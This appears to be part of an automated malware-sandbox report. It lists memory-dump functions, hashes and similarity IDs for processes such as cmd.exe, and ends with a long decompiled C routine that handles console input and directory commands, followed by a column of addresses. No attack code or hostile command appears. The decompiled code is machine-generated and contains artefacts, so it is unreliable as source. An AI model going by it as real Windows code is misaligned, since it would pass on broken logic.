Opcode ID: 3093553a0f71536eb9141d821e4669fe42e00153158f3a4a194cabbd3ece7b81
Instruction ID: 87ab469446470bca09d9ad9a2636350c8a2cbf18309a4fb393e7249ea5565faf
Opcode Fuzzy Hash: 3093553a0f71536eb9141d821e4669fe42e00153158f3a4a194cabbd3ece7b81
Instruction Fuzzy Hash: DE9002B120100403D240615A55087471405D7D0341F51D431A0415558EE6969851B562

Uniqueness

Uniqueness Score: -1.00%

Function 00FA9730, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.390523288.0000000000F40000.00000040.00000001.sdmp, Offset: 00F40000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f3bcf126863e26c84e3c65e1b32612256598c997f2779f75205ca36e881776f
Instruction ID: 4dbf3561599e1acccaa5ad897d4d07fbd19a0b11e99ce0bbc943535c4f4a0c4b
Opcode Fuzzy Hash: 9f3bcf126863e26c84e3c65e1b32612256598c997f2779f75205ca36e881776f
Instruction Fuzzy Hash: 1B9002A160500403D280715A54187461415D7D0341F51D031A0015554ED6999A55BAE2

Uniqueness

Uniqueness Score: -1.00%

Function 00FAA710, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.390523288.0000000000F40000.00000040.00000001.sdmp, Offset: 00F40000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61069442da3e1480c0298b2c21ead242dc82dc8d94ff33f46e750b12ba5381e1
Instruction ID: 76a1ddc8e9e01fbd687be1ad57fecf480a69a75ca68a3425a31d2862ee70873f
Opcode Fuzzy Hash: 61069442da3e1480c0298b2c21ead242dc82dc8d94ff33f46e750b12ba5381e1
Instruction Fuzzy Hash: B99002B1301000539640A69A5804A8A5505D7F0341B51D035A4005554DD5949861B562

Uniqueness

Uniqueness Score: -1.00%

Function 00FA9B00, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.390523288.0000000000F40000.00000040.00000001.sdmp, Offset: 00F40000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e4f0c9d4506aa47ee9f31660755ff126009b5de0c3f395ea91879168ea1f9a3e
Instruction ID: 6196c3f301cc32c508a569635a3ab2171c900206b970005d026a249105600c80
Opcode Fuzzy Hash: e4f0c9d4506aa47ee9f31660755ff126009b5de0c3f395ea91879168ea1f9a3e
Instruction Fuzzy Hash: 899002A124100803D280715A84147471406D7D0741F51C031A0015554ED6569965BAF2

Uniqueness

Uniqueness Score: -1.00%

Function 00FA9670, Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.390523288.0000000000F40000.00000040.00000001.sdmp, Offset: 00F40000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3d3d3c0123cddb368cc51eab9da9c3aaeeac76cd7bbfae310620ba6f7f49b43
Instruction ID: 051f28d03c8c7ecb024494ac1a1bfd75d1df8501fec30856c049216170236c44
Opcode Fuzzy Hash: a3d3d3c0123cddb368cc51eab9da9c3aaeeac76cd7bbfae310620ba6f7f49b43
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 00FFFDDA, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 42COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00FFFDFA

Strings

RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u, xrefs: 00FFFE2B
RTL: Enter CriticalSection Timeout (%I64u secs) %d, xrefs: 00FFFE01

Memory Dump Source

Source File: 00000006.00000002.390523288.0000000000F40000.00000040.00000001.sdmp, Offset: 00F40000, based on PE: true

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: RTL: Enter CriticalSection Timeout (%I64u secs) %d$RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u
API String ID: 885266447-3903918235
Opcode ID: 1e47f132625d64957e71dffd14f59f1202ba5dc98557568e15131a2fddff352f
Instruction ID: 7b2e64a010bfe29c01892eca946f88725a14cbae6599073d747e7852a8d237c6
Opcode Fuzzy Hash: 1e47f132625d64957e71dffd14f59f1202ba5dc98557568e15131a2fddff352f
Instruction Fuzzy Hash: 7AF0C273640605BBD6201A45DC06F33BF5AEF45B30F240314F728561E2EAA2F820A6E1

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: cmd.exe PID: 3608 Parent PID: 4036 cmd.exeCOMMON

Executed Functions

Function 035E9710, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 035E971A

Memory Dump Source

Source File: 00000017.00000002.517597976.0000000003580000.00000040.00000001.sdmp, Offset: 03580000, based on PE: true

Associated: 00000017.00000002.518412476.000000000369B000.00000040.00000001.sdmp Download File
Associated: 00000017.00000002.518459422.000000000369F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: a0868ef3b4b72cdfd385980e20eb98dfee2ace9d84eda11445253a9faed7f1ee
Instruction ID: 1ae3de8df477f81943259efd6daaef4aecc4751985546fae5aa5765fd32d0f94
Opcode Fuzzy Hash: a0868ef3b4b72cdfd385980e20eb98dfee2ace9d84eda11445253a9faed7f1ee
Instruction Fuzzy Hash: BE90027134104806D100A59964086460095A7E0341F52D011A6014556EC7A588917171

Uniqueness

Uniqueness Score: -1.00%

Function 035E9FE0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 035E9FEA

Memory Dump Source

Source File: 00000017.00000002.517597976.0000000003580000.00000040.00000001.sdmp, Offset: 03580000, based on PE: true

Associated: 00000017.00000002.518412476.000000000369B000.00000040.00000001.sdmp Download File
Associated: 00000017.00000002.518459422.000000000369F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 15b7c12b9ff33f5984e73e274115bc0aa60e99314d7491ae157b46ccc46ba2c2
Instruction ID: 5318695918d7cc6191f0e0ce855cd43b949ca586a92d301712a3e5835e59b441
Opcode Fuzzy Hash: 15b7c12b9ff33f5984e73e274115bc0aa60e99314d7491ae157b46ccc46ba2c2
Instruction Fuzzy Hash: A490027135118806D110A15994047060095A7D1341F52C411A1814559D87D588917162

Uniqueness

Uniqueness Score: -1.00%

Function 035E9780, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 035E978A

Memory Dump Source

Source File: 00000017.00000002.517597976.0000000003580000.00000040.00000001.sdmp, Offset: 03580000, based on PE: true

Associated: 00000017.00000002.518412476.000000000369B000.00000040.00000001.sdmp Download File
Associated: 00000017.00000002.518459422.000000000369F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: fecd18b343995457a18009c3ba779341c11fb46202264bf2aaa53896c9075dbf
Instruction ID: 9e25f9d160829d556bf5695598b46a823ba7fd5896e25b85310489d280eb3555
Opcode Fuzzy Hash: fecd18b343995457a18009c3ba779341c11fb46202264bf2aaa53896c9075dbf
Instruction Fuzzy Hash: A190026935304406D180B159640860A0095A7D1342F92D415A1005559CCA5588697361

Uniqueness

Uniqueness Score: -1.00%

Function 035E9A50, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 035E9A5A

Memory Dump Source

Source File: 00000017.00000002.517597976.0000000003580000.00000040.00000001.sdmp, Offset: 03580000, based on PE: true

Associated: 00000017.00000002.518412476.000000000369B000.00000040.00000001.sdmp Download File
Associated: 00000017.00000002.518459422.000000000369F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 87f1a00a00304a133ac708d00b67e9436dbb23b6e528eeff60d5a9ab7972fefe
Instruction ID: 7a1c23c497ad840dbc2640dbff2a3cafe334f3a3f818963d00ad487e4f8d8c77
Opcode Fuzzy Hash: 87f1a00a00304a133ac708d00b67e9436dbb23b6e528eeff60d5a9ab7972fefe
Instruction Fuzzy Hash: 1390026135184446D200A5695C14B070095A7D0343F52C115A1144555CCA5588617561

Uniqueness

Uniqueness Score: -1.00%

Function 035E96D0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 035E96DA

Memory Dump Source

Source File: 00000017.00000002.517597976.0000000003580000.00000040.00000001.sdmp, Offset: 03580000, based on PE: true

Associated: 00000017.00000002.518412476.000000000369B000.00000040.00000001.sdmp Download File
Associated: 00000017.00000002.518459422.000000000369F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 9e72e4eade8c9ab770807fac08aa0300c943f132ce49e174c55178079f68dffa
Instruction ID: fd70bd78b4b584272b67523a249831997e3a2bc1e664068c99eeba28bb974277
Opcode Fuzzy Hash: 9e72e4eade8c9ab770807fac08aa0300c943f132ce49e174c55178079f68dffa
Instruction Fuzzy Hash: 9F90027134104C46D100A1595404B460095A7E0341F52C016A1114655D8755C8517561

Uniqueness

Uniqueness Score: -1.00%

Function 035E96E0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 035E96EA

Memory Dump Source

Source File: 00000017.00000002.517597976.0000000003580000.00000040.00000001.sdmp, Offset: 03580000, based on PE: true

Associated: 00000017.00000002.518412476.000000000369B000.00000040.00000001.sdmp Download File
Associated: 00000017.00000002.518459422.000000000369F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: aff3dd674a856ad5b6e5fbca867bec2c3ff7efcb39491fe5fc647b377a4a2433
Instruction ID: f52152ab1c693765d3a7e27dfeac7f413ed270011a7ca80116b6e756f6a335c3
Opcode Fuzzy Hash: aff3dd674a856ad5b6e5fbca867bec2c3ff7efcb39491fe5fc647b377a4a2433
Instruction Fuzzy Hash: DB9002713410CC06D110A159940474A0095A7D0341F56C411A5414659D87D588917161

Uniqueness

Uniqueness Score: -1.00%

Function 035E9540, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 035E954A

Memory Dump Source

Source File: 00000017.00000002.517597976.0000000003580000.00000040.00000001.sdmp, Offset: 03580000, based on PE: true

Associated: 00000017.00000002.518412476.000000000369B000.00000040.00000001.sdmp Download File
Associated: 00000017.00000002.518459422.000000000369F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 5c5d15117245da8e245ce35678d3faf9d46b5889dd9b97b38398b3b1f62c63e6
Instruction ID: a4ade264e9f85fd3cbd8cd62ad62678d6734ade45d2d4a5a1bb5cf0718e436ff
Opcode Fuzzy Hash: 5c5d15117245da8e245ce35678d3faf9d46b5889dd9b97b38398b3b1f62c63e6
Instruction Fuzzy Hash: F1900475351044070105F55D170450700D7F7D53D1353C031F3005551CD771CC717171

Uniqueness

Uniqueness Score: -1.00%

Function 035E9910, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 035E991A

Memory Dump Source

Source File: 00000017.00000002.517597976.0000000003580000.00000040.00000001.sdmp, Offset: 03580000, based on PE: true

Associated: 00000017.00000002.518412476.000000000369B000.00000040.00000001.sdmp Download File
Associated: 00000017.00000002.518459422.000000000369F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 7a1cc7d923a06d5a692d3e1ced9c2971506573724d02a5aef5497393ea253244
Instruction ID: c5b61792a4f9637b32327eec5f5f679a1d714c152f95a688e6b9e3528aa1bdd5
Opcode Fuzzy Hash: 7a1cc7d923a06d5a692d3e1ced9c2971506573724d02a5aef5497393ea253244
Instruction Fuzzy Hash: 109002B134104806D140B15954047460095A7D0341F52C011A6054555E87998DD576A5

Uniqueness

Uniqueness Score: -1.00%

Function 035E95D0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 035E95DA

Memory Dump Source

Source File: 00000017.00000002.517597976.0000000003580000.00000040.00000001.sdmp, Offset: 03580000, based on PE: true

Associated: 00000017.00000002.518412476.000000000369B000.00000040.00000001.sdmp Download File
Associated: 00000017.00000002.518459422.000000000369F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 000d3441576831f74cfe41ac481cd7e77443cc024f3aedf385268b6afa4ba183
Instruction ID: 71a876ba392b1a457e8192fce7fc7061a93d104659ceb4b7ef58e79d6a35bb95
Opcode Fuzzy Hash: 000d3441576831f74cfe41ac481cd7e77443cc024f3aedf385268b6afa4ba183
Instruction Fuzzy Hash: 5B9002A1342044074105B1595414616409AA7E0341B52C021E2004591DC66588917165

Uniqueness

Uniqueness Score: -1.00%

Function 035E99A0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 035E99AA

Memory Dump Source

Source File: 00000017.00000002.517597976.0000000003580000.00000040.00000001.sdmp, Offset: 03580000, based on PE: true

Associated: 00000017.00000002.518412476.000000000369B000.00000040.00000001.sdmp Download File
Associated: 00000017.00000002.518459422.000000000369F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: cc9a74a5e8d5982dcd178b3547928086254ca0ff3a3d71c6dfa3ad65549a4ed4
Instruction ID: 893d7ddd9f580e5f662e3e2b453755f1abb00e4e9561495093d0a819c3c21e1f
Opcode Fuzzy Hash: cc9a74a5e8d5982dcd178b3547928086254ca0ff3a3d71c6dfa3ad65549a4ed4
Instruction Fuzzy Hash: DB9002A138104846D100A1595414B060095E7E1341F52C015E2054555D8759CC527166

Uniqueness

Uniqueness Score: -1.00%

Function 035E9840, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 035E984A

Memory Dump Source

Source File: 00000017.00000002.517597976.0000000003580000.00000040.00000001.sdmp, Offset: 03580000, based on PE: true

Associated: 00000017.00000002.518412476.000000000369B000.00000040.00000001.sdmp Download File
Associated: 00000017.00000002.518459422.000000000369F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 1c1aac545a871bf7783e7330035709f2a0f2b7b7ab526b35003d8cbb8e08fdbd
Instruction ID: 5d36191d0db6fe2b0572b92bde1779bd51a7ec92e730bbfa6550c1ed38ee613e
Opcode Fuzzy Hash: 1c1aac545a871bf7783e7330035709f2a0f2b7b7ab526b35003d8cbb8e08fdbd
Instruction Fuzzy Hash: 4D900261382085565545F15954045074096B7E0381792C012A2404951C86669856F661

Uniqueness

Uniqueness Score: -1.00%

Function 035E9860, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 035E986A

Memory Dump Source

Source File: 00000017.00000002.517597976.0000000003580000.00000040.00000001.sdmp, Offset: 03580000, based on PE: true

Associated: 00000017.00000002.518412476.000000000369B000.00000040.00000001.sdmp Download File
Associated: 00000017.00000002.518459422.000000000369F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 0a78238b336627a09293dcfad6936f93a5c0cc531b7f9d359b6f80a2aaf2c15e
Instruction ID: 1774c352b0e25af0a2715e2f43c6ace96932ab82e3bf02448dc5f3b1e7e284f2
Opcode Fuzzy Hash: 0a78238b336627a09293dcfad6936f93a5c0cc531b7f9d359b6f80a2aaf2c15e
Instruction Fuzzy Hash: 5990027134104817D111A15955047070099A7D0381F92C412A1414559D97968952B161

Uniqueness

Uniqueness Score: -1.00%

Function 035E967A, Relevance: 1.5, APIs: 1, Instructions: 8libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 035E9694

Memory Dump Source

Source File: 00000017.00000002.517597976.0000000003580000.00000040.00000001.sdmp, Offset: 03580000, based on PE: true

Associated: 00000017.00000002.518412476.000000000369B000.00000040.00000001.sdmp Download File
Associated: 00000017.00000002.518459422.000000000369F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: bd93e6127b2e73278cf63e22cea431d3041cd559f14c6e0fcbb6ea5808426bb3
Instruction ID: ae14e8698ec3a3824e93f07493e0bfeb6b99c9f4e2dd938edfdbe029081aac39
Opcode Fuzzy Hash: bd93e6127b2e73278cf63e22cea431d3041cd559f14c6e0fcbb6ea5808426bb3
Instruction Fuzzy Hash: 70B09B719414C5C9D615D7605608717795477D0741F17C092D2020642E477CC0D1F5F5

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00893506, Relevance: 65.1, APIs: 30, Strings: 7, Instructions: 353
memoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 48%

			E00893506(void __ecx, signed int __edx, long _a4, DWORD* _a8) {
				signed int _v8;
				signed int _v16;
				struct _CONSOLE_SCREEN_BUFFER_INFO _v32;
				unsigned int _v36;
				intOrPtr _v40;
				unsigned int _v44;
				intOrPtr _v50;
				struct _CONSOLE_SCREEN_BUFFER_INFO _v56;
				signed int _v68;
				void* _v76;
				void* _v80;
				DWORD* _v84;
				long _v88;
				void* _v90;
				signed int _v92;
				int _v96;
				void* _v100;
				long _v108;
				signed int _v112;
				void* _v120;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t83;
				void* _t85;
				int _t86;
				int _t87;
				int _t93;
				signed int _t95;
				void* _t99;
				void* _t104;
				void* _t105;
				void _t106;
				void _t107;
				signed int _t108;
				void* _t118;
				void _t119;
				signed int _t133;
				signed int _t134;
				void* _t141;
				void* _t142;
				long _t143;
				void* _t147;
				signed char _t149;
				signed int _t152;
				void* _t156;
				signed int _t157;
				void* _t159;
				void* _t163;
				void* _t168;
				void* _t169;
				int _t170;
				void* _t177;
				void* _t178;
				void* _t181;
				void* _t182;
				void* _t184;
				void* _t185;
				DWORD* _t187;
				void* _t189;
				struct _COORD _t190;
				signed int _t191;
				signed int _t193;
				void* _t196;
				void* _t197;
				void* _t206;
				void* _t207;

				_t173 = __edx;
				_t193 = (_t191 & 0xfffffff8) - 0x54;
				_t83 =  *0x89d0b4; // 0x987dc5f4
				_v8 = _t83 ^ _t193;
				_t187 = _a8;
				_t184 = __edx;
				_v56.dwCursorPosition = __ecx;
				_v80 = _t187;
				_t85 = GetStdHandle(0xfffffff5);
				_v76 = _t85;
				if(_t85 == 0xffffffff) {
					__imp___get_osfhandle(1);
					_v76 = _t85;
				}
				if( *0x8b3cc9 == 0) {
					L66:
					__imp__AcquireSRWLockShared(0x8b7f20);
					_t86 = ReadConsoleW(_v56.dwSize, _t184, _a4, _t187, 0);
					__imp__ReleaseSRWLockShared(0x8b7f20);
					_t87 = _t86;
				} else {
					_t147 = 0x20;
					_t196 =  *0x89d0d8 - _t147; // 0x20
					if(_t196 >= 0) {
						goto L66;
					} else {
						_t197 =  *0x89d0d4 - _t147; // 0x20
						if(_t197 >= 0 || GetConsoleScreenBufferInfo(_t85,  &_v32) == 0) {
							goto L66;
						} else {
							_t149 =  *0x89d0d8; // 0x20
							_t190 = _v32.dwCursorPosition;
							_t142 = 0;
							_t173 = 1 << _t149;
							asm("bts edx, eax");
							_v68 = _t190;
							_v56.wAttributes = 0x10;
							_v56.dwSize = 0;
							_v44 = 0;
							_v40 = 1;
							_v36 = 0;
							E0089B4DD( *0x89d0d4 & 0x0000ffff);
							 *0x89d580 = 0;
							 *0x89d578 = 0;
							 *0x89d574 = 0;
							 *0x89d57c = 0;
							while(1) {
								L7:
								__imp__AcquireSRWLockShared(0x8b7f20);
								_t93 = ReadConsoleW(_v56.dwSize, _t184, _a4, _v84,  &(_v56.dwCursorPosition));
								_v92 = _t93;
								__imp__ReleaseSRWLockShared(0x8b7f20);
								_v68 =  *_v88;
								if( *0x89d544 == 0) {
									_t95 = 0;
									__eflags = 0;
								} else {
									EnterCriticalSection( *0x8a3858);
									 *0x89d544 = 0;
									LeaveCriticalSection( *0x8a3858);
									if(_t142 != 0) {
										RtlFreeHeap(GetProcessHeap(), 0, _t142);
									}
									_t95 = 0;
									_t142 = 0;
								}
								if(_v96 == 0) {
									break;
								}
								_t173 = _t173 | 0xffffffff;
								_v92 = _v92 | 0xffffffff;
								_v80 = _t95;
								if( *_v88 <= 0) {
									break;
								} else {
									while(1) {
										_t152 =  *(_t184 + _t95 * 2) & 0x0000ffff;
										if(_t152 == 0xd) {
											break;
										}
										_t206 = _t152 -  *0x89d0d8; // 0x20
										if(_t206 == 0) {
											_v92 = _t95;
											goto L25;
										} else {
											_t207 = _t152 -  *0x89d0d4; // 0x20
											if(_t207 == 0) {
												_v92 = _t95;
												_v80 = 1;
												L24:
												__eflags = _t173 - 0xffffffff;
												if(_t173 != 0xffffffff) {
													goto L18;
												} else {
													L25:
													__eflags = _t95 - 0xffffffff;
													if(_t95 == 0xffffffff) {
														goto L18;
													} else {
														 *_v88 = _t95;
														 *(_t184 + _t95 * 2) = 0;
														__eflags = _t142;
														if(_t142 == 0) {
															L35:
															_v96 = 1;
														} else {
															_t169 = _t142;
															_t133 = _t184;
															while(1) {
																_t181 =  *_t133;
																__eflags = _t181 -  *_t169;
																if(_t181 !=  *_t169) {
																	break;
																}
																__eflags = _t181;
																if(_t181 == 0) {
																	L32:
																	_t170 = 0;
																	_t134 = 0;
																} else {
																	_t182 =  *((intOrPtr*)(_t133 + 2));
																	__eflags = _t182 -  *((intOrPtr*)(_t169 + 2));
																	if(_t182 !=  *((intOrPtr*)(_t169 + 2))) {
																		break;
																	} else {
																		_t133 = _t133 + 4;
																		_t169 = _t169 + 4;
																		__eflags = _t182;
																		if(_t182 != 0) {
																			continue;
																		} else {
																			goto L32;
																		}
																	}
																}
																L34:
																_v96 = _t170;
																__eflags = _t134;
																if(_t134 != 0) {
																	goto L35;
																}
																goto L36;
															}
															asm("sbb eax, eax");
															_t134 = _t133 | 0x00000001;
															_t170 = 0;
															__eflags = 0;
															goto L34;
														}
														L36:
														_t99 = _v80;
														__eflags = _t99;
														if(__eflags == 0) {
															__eflags = _v92 - 2;
															if(__eflags > 0) {
																__imp___wcsnicmp(_t184, L"cd ", 3);
																_t193 = _t193 + 0xc;
																__eflags = _t99;
																if(__eflags == 0) {
																	L45:
																	_t99 = 1;
																} else {
																	__imp___wcsnicmp(_t184, L"rd ", 3);
																	_t193 = _t193 + 0xc;
																	__eflags = _t99;
																	if(__eflags == 0) {
																		goto L45;
																	} else {
																		__imp___wcsnicmp(_t184, L"md ", 3);
																		_t193 = _t193 + 0xc;
																		__eflags = _t99;
																		if(__eflags == 0) {
																			goto L45;
																		} else {
																			__imp___wcsnicmp(_t184, L"chdir ", 6);
																			_t193 = _t193 + 0xc;
																			__eflags = _t99;
																			if(__eflags == 0) {
																				goto L45;
																			} else {
																				__imp___wcsnicmp(_t184, L"rmdir ", 6);
																				_t193 = _t193 + 0xc;
																				__eflags = _t99;
																				if(__eflags == 0) {
																					goto L45;
																				} else {
																					__imp___wcsnicmp(_t184, L"mkdir ", 6);
																					_t193 = _t193 + 0xc;
																					__eflags = _t99;
																					if(__eflags == 0) {
																						goto L45;
																					} else {
																						__imp___wcsnicmp(_t184, L"pushd ", 6);
																						_t193 = _t193 + 0xc;
																						__eflags = _t99;
																						if(__eflags != 0) {
																							_t99 = _v80;
																						} else {
																							goto L45;
																						}
																					}
																				}
																			}
																		}
																	}
																}
															}
														}
														_push(_v96);
														_t155 = _t184;
														_push(_t99);
														_push( !(_v44 >> 4) & 0x00000001);
														_push(_v92);
														_t104 = E0089B2BF(_t142, _t184, _a4, _t184, _t190, __eflags);
														__eflags = _t104;
														if(_t104 == 0) {
															_t105 = E00887797(_t155);
															__eflags = _t105;
															if(_t105 != 0) {
																 *0x8bc014(0xffffffff);
															}
															_t156 = _t184;
															_t73 = _t156 + 2; // 0xc
															_t177 = _t73;
															do {
																_t106 =  *_t156;
																_t156 = _t156 + 2;
																__eflags = _t106 - _v80;
															} while (_t106 != _v80);
															_t157 = _t156 - _t177;
															__eflags = _t157;
															_v68 = _t157 >> 1;
														} else {
															E00899897();
															_t118 = GetConsoleScreenBufferInfo(_v100,  &_v56);
															__eflags = _t118;
															if(_t118 != 0) {
																_t168 = _v50 - (_v92 + _v108) / _v56;
																__eflags = _t168;
																_v90 = _t168;
																_t190 = _v92;
															}
															_t163 = _t184;
															_t61 = _t163 + 2; // 0xc
															_t178 = _t61;
															do {
																_t119 =  *_t163;
																_t163 = _t163 + 2;
																__eflags = _t119 - _v80;
															} while (_t119 != _v80);
															_v88 = _t163 - _t178 >> 1;
															SetConsoleCursorPosition(_v100, _t190);
															_push( &_v84);
															_push(_t190);
															_push(_v84);
															_push(0x20);
															_push(_v100);
															FillConsoleOutputCharacterW();
															WriteConsoleW(_v120, _t184, _v108,  &_v108, 0);
															_v88 = _v108;
															E008806C0(_t163 - _t178 >> 1);
														}
														__eflags = _t142;
														if(_t142 == 0) {
															_t143 = 0;
															__eflags = 0;
														} else {
															_t143 = 0;
															RtlFreeHeap(GetProcessHeap(), 0, _t142);
														}
														_t159 = _t184;
														_t76 = _t159 + 2; // 0xc
														_t173 = _t76;
														do {
															_t107 =  *_t159;
															_t159 = _t159 + 2;
															__eflags = _t107 - _t143;
														} while (_t107 != _t143);
														_t77 = (_t159 - _t173 >> 1) + 1; // 0x9
														_t108 = _t77;
														_v112 = _t108;
														_t142 = HeapAlloc(GetProcessHeap(), _t143, _t108 + _t108);
														__eflags = _t142;
														if(_t142 == 0) {
															_t87 = 0;
														} else {
															_t173 = _v112;
															E00881040(_t142, _t173, _t184);
															goto L7;
														}
													}
												}
											} else {
												_t95 = _t95 + 1;
												if(_t95 <  *_v88) {
													continue;
												} else {
													goto L18;
												}
											}
										}
										goto L67;
									}
									_t173 = _t95;
									_t95 = _v92;
									goto L24;
								}
								goto L67;
							}
							L18:
							if(_t142 != 0) {
								RtlFreeHeap(GetProcessHeap(), 0, _t142);
							}
							_t87 = _v96;
						}
					}
				}
				L67:
				_pop(_t185);
				_pop(_t189);
				_pop(_t141);
				return E00886FD0(_t87, _t141, _v16 ^ _t193, _t173, _t185, _t189);
			}

0x00893506
0x0089350e
0x00893511
0x00893518
0x0089351e
0x00893524
0x00893526
0x0089352a
0x0089352e
0x00893534
0x0089353b
0x0089353f
0x00893546
0x00893546
0x00893551
0x00893932
0x00893938
0x00893949
0x00893952
0x00893958
0x00893557
0x00893559
0x0089355a
0x00893561
0x00000000
0x00893567
0x00893567
0x0089356e
0x00000000
0x00893588
0x00893588
0x00893598
0x0089359c
0x0089359e
0x008935a0
0x008935a3
0x008935a7
0x008935af
0x008935b3
0x008935b7
0x008935bb
0x008935bf
0x008935c4
0x008935ca
0x008935d0
0x008935d6
0x008935dc
0x008935dc
0x008935e1
0x008935f8
0x00893603
0x00893607
0x0089361a
0x0089361e
0x0089365a
0x0089365a
0x00893620
0x00893626
0x00893634
0x00893639
0x00893641
0x0089364e
0x0089364e
0x00893654
0x00893656
0x00893656
0x00893661
0x00000000
0x00000000
0x00893667
0x0089366a
0x0089366f
0x00893676
0x00000000
0x00893678
0x00893678
0x00893678
0x0089367f
0x00000000
0x00000000
0x00893681
0x00893688
0x008936c8
0x00000000
0x0089368a
0x0089368a
0x00893691
0x008936ba
0x008936be
0x008936d4
0x008936d4
0x008936d7
0x00000000
0x008936d9
0x008936d9
0x008936d9
0x008936dc
0x00000000
0x008936de
0x008936e2
0x008936e6
0x008936ea
0x008936ec
0x00893729
0x00893729
0x008936ee
0x008936ee
0x008936f0
0x008936f2
0x008936f2
0x008936f5
0x008936f8
0x00000000
0x00000000
0x008936fa
0x008936fd
0x00893714
0x00893714
0x00893716
0x008936ff
0x008936ff
0x00893703
0x00893707
0x00000000
0x00893709
0x00893709
0x0089370c
0x0089370f
0x00893712
0x00000000
0x00000000
0x00000000
0x00000000
0x00893712
0x00893707
0x00893721
0x00893721
0x00893725
0x00893727
0x00000000
0x00000000
0x00000000
0x00893727
0x0089371a
0x0089371c
0x0089371f
0x0089371f
0x00000000
0x0089371f
0x00893731
0x00893731
0x00893735
0x00893737
0x0089373d
0x00893742
0x00893750
0x00893756
0x00893759
0x0089375b
0x008937db
0x008937dd
0x0089375d
0x00893765
0x0089376b
0x0089376e
0x00893770
0x00000000
0x00893772
0x0089377a
0x00893780
0x00893783
0x00893785
0x00000000
0x00893787
0x0089378f
0x00893795
0x00893798
0x0089379a
0x00000000
0x0089379c
0x008937a4
0x008937aa
0x008937ad
0x008937af
0x00000000
0x008937b1
0x008937b9
0x008937bf
0x008937c2
0x008937c4
0x00000000
0x008937c6
0x008937ce
0x008937d4
0x008937d7
0x008937d9
0x008937e0
0x00000000
0x00000000
0x00000000
0x008937d9
0x008937c4
0x008937af
0x0089379a
0x00893785
0x00893770
0x0089375b
0x00893742
0x008937e4
0x008937eb
0x008937ed
0x008937fa
0x008937fb
0x008937ff
0x00893804
0x00893806
0x008938a7
0x008938ac
0x008938ae
0x008938b2
0x008938b2
0x008938b8
0x008938ba
0x008938ba
0x008938bd
0x008938bd
0x008938c0
0x008938c3
0x008938c3
